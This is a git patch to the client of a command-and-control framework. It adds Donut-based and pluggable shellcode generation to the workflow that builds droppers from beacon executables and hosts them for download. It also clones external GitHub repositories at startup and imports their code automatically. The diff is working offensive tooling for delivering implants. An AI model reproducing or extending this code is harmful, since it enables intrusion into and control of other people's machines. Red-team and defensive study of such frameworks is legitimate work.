From 5bb4bf85ba0a128f73f35f9be7ecf1989af4e58d Mon Sep 17 00:00:00 2001 From: kali Date: Fri, 19 Sep 2025 08:18:30 -0400 Subject: [PATCH] Add ShellCode generator option --- C2Client/C2Client/ShellCodeModules.conf | 1 + C2Client/C2Client/ShellCodeModules/.gitignore | 2 + C2Client/C2Client/TerminalPanel.py | 95 +++++++++++++++++-- C2Client/pyproject.toml | 3 +- C2Client/requirements.txt | 1 + 5 files changed, 94 insertions(+), 8 deletions(-) create mode 100644 C2Client/C2Client/ShellCodeModules.conf create mode 100644 C2Client/C2Client/ShellCodeModules/.gitignore diff --git a/C2Client/C2Client/ShellCodeModules.conf b/C2Client/C2Client/ShellCodeModules.conf new file mode 100644 index 0000000..e51816c --- /dev/null +++ b/C2Client/C2Client/ShellCodeModules.conf @@ -0,0 +1 @@ +https://github.com/maxDcb/DreamWalkers.git \ No newline at end of file diff --git a/C2Client/C2Client/ShellCodeModules/.gitignore b/C2Client/C2Client/ShellCodeModules/.gitignore new file mode 100644 index 0000000..c96a04f --- /dev/null +++ b/C2Client/C2Client/ShellCodeModules/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore \ No newline at end of file diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index f0178c4..ff3133d 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -74,11 +74,61 @@ for moduleName in os.listdir(dropperModulesDir): except ImportError as e: print(f"Failed to import {moduleName}: {e}") +# +# ShellCode modules +# -# -# Terminal modules -# -# legacy path setup removed in favor of package imports +import donut + +try: + import pkg_resources + shellCodeModulesDir = pkg_resources.resource_filename( + 'C2Client', + 'ShellCodeModules' + ) + ShellCodeModulesPath = pkg_resources.resource_filename( + 'C2Client', + 'ShellCodeModules.conf' + ) + +except ImportError: + shellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules') + ShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf') + +if not os.path.exists(shellCodeModulesDir): + os.makedirs(shellCodeModulesDir) + +with open(ShellCodeModulesPath, "r") as file: + repositories = file.readlines() + +ShellCodeModules = [] +for repo in repositories: + repo = repo.strip() + repoName = repo.split('/')[-1].replace('.git', '') + repoPath = os.path.join(shellCodeModulesDir, repoName) + + if not os.path.exists(repoPath): + print(f"Cloning {repoName} in {repoPath}.") + try: + Repo.clone_from(repo, repoPath) + except Exception as e: + print(f"Failed to clone {repoName}: {e}") + else: + print(f"Repository {repoName} already exists in {shellCodeModulesDir}.") + +for moduleName in os.listdir(shellCodeModulesDir): + modulePath = os.path.join(shellCodeModulesDir, moduleName) + + if os.path.isdir(modulePath): + if os.path.exists(modulePath): + sys.path.insert(1, modulePath) + try: + # Dynamically import the module + importedModule = __import__(moduleName) + ShellCodeModules.append(importedModule) + print(f"Successfully imported {moduleName}") + except ImportError as e: + print(f"Failed to import {moduleName}: {e}") # @@ -718,9 +768,40 @@ class DropperWorker(QObject): cmdToRun = "" for module in DropperModules: if self.moduleName == module.__name__.lower(): - logging.debug("GenerateAndHostGeneric Generate for module: %s", self.moduleName) + logging.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName) + + shellcodeGenerator = "Donut" + + # default to Dropper shellcode generator + rawshellcode = "" + + # Check shellcode generatro + if shellcodeGenerator.lower() == "donut".lower(): + print("Donut Shellcode generator") + shellcode = donut.create( + file=beaconFilePath, + params=beaconArg + ) + beaconArg = "" + beaconFilePath = "" + rawshellcode = "loader.bin" + + else: + for ShellCodeModule in ShellCodeModules: + logging.debug("ShellCodeModule: %s", ShellCodeModule) + + if shellcodeGenerator.lower() == ShellCodeModule.__name__.lower(): + logging.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__) + + genShellcode = getattr(ShellCodeModule, "buildLoaderShellcode") + genShellcode(beaconFilePath, "", beaconArg, 3) + + beaconArg = "" + beaconFilePath = "" + rawshellcode = "finalShellcode.bin" + genPayload = getattr(module, DropperModuleGeneratePayloadFunction) - droppersPath, shellcodesPath, cmdToRun = genPayload(beaconFilePath, beaconArg, "", urlDownload, self.additionalArgs.split(" ")) + droppersPath, shellcodesPath, cmdToRun = genPayload(beaconFilePath, beaconArg, rawshellcode, urlDownload, self.additionalArgs.split(" ")) # Upload the file and get the path for dropperPath in droppersPath: @@ -813,7 +894,7 @@ class CommandEditor(QLineEdit): self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open('.termHistory') + cmdHistoryFile = open(HistoryFileName) self.cmdHistory = cmdHistoryFile.readlines() self.idx=len(self.cmdHistory)-1 cmdHistoryFile.close() diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index e3dfa2d..3ea2d34 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -16,7 +16,8 @@ dependencies = [ "requests==2.32.5", "pwn==1.0", "pefile==2024.8.26", - "openai==1.102.0" + "openai==1.102.0", + "donut-shellcode" ] [project.optional-dependencies] diff --git a/C2Client/requirements.txt b/C2Client/requirements.txt index df791c7..fa567b3 100644 --- a/C2Client/requirements.txt +++ b/C2Client/requirements.txt @@ -10,3 +10,4 @@ pefile==2024.8.26 openai==1.102.0 pytest==8.4.1 pytest-qt==4.5.0 +donut-shellcode